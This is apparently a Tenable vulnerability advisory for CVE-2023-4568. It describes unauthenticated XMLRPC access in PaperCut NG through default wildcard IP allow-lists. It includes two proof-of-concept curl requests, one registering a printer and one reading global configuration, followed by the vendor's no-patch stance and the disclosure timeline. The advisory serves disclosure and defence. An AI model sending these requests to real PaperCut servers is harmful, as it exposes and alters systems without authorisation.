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PaperCut NG Unauthenticated XMLRPC Functionality

Medium

Synopsis

Insufficient access controls for XMLRPC operations exist in PaperCut NG. Versions 22.0.12 and earlier are confirmed vulnerable. Later versions may also be affected due to lack of a vendor-supplied patch.

Access to XMLPRC operations in PaperCut NG are controlled by various allowed IP lists. By default many allowed IP lists (i.e., auth.providers.allowed-addresses) are configured to be a wildcard, which allows an unauthenticated remote attacker to issue XMLPRC calls.

Proof of Concept

// Add a printer; check if added printer shows up in the web UI
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>print-provider.registerPrinter</methodName><params><param><value><string>serverName</string></value></param><param><value><string>printerName</string></value></param><param><value><string>printerLocation</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/providers/xmlrpc'

// Get configuration
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/clients/xmlrpc'

Solution

PaperCut's security staff has acknowledged the behavior and possible impacts of this issue, but do not plan to provide a patch. Customers are encouraged to apply any relevant mitigations as recommended by product documentation.

Disclosure Timeline

June 13, 2023 - Tenable attempts to obtain security contact from vendor.
June 15, 2023 - Vendor supplies communication method. Tenable discloses issue to vendor.
June 16, 2023 - Vendor provides status update.
June 23, 2023 - Vendor provides status update.
June 27, 2023 - Vendor provides status update and requests input regarding XMLRPC issue.
June 30, 2023 - Tenable responds.
July 3, 2023 - Vendor requests call.
July 6, 2023 - Tenable states preference for keeping disclosure communications in writing.
July 7, 2023 - Vendor acknowledges.
July 13, 2023 - Vendor continues to dispute issue and requests clarification.
July 18, 2023 - Tenable provides clarification and reasoning.
July 19, 2023 - Vendor appears to agree with provided reasoning.
July 19, 2023 - Tenable provides publication timeline for separate issue (TRA-2023-23).
July 20, 2023 - Vendor acknowledges.
August 28, 2023 - Tenable sends reminder of disclosure deadline.

All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability.

Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page.

If you have questions or corrections about this advisory, please email [email protected]

Risk Information

CVE ID: CVE-2023-4568
Tenable Advisory ID: TRA-2023-31
CVSSv3 Base / Temporal Score:
6.5 / 6.2
CVSSv3 Vector:
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Affected Products:
PaperCut NG
Risk Factor:
Medium

Advisory Timeline

September 13, 2023 - Initial release.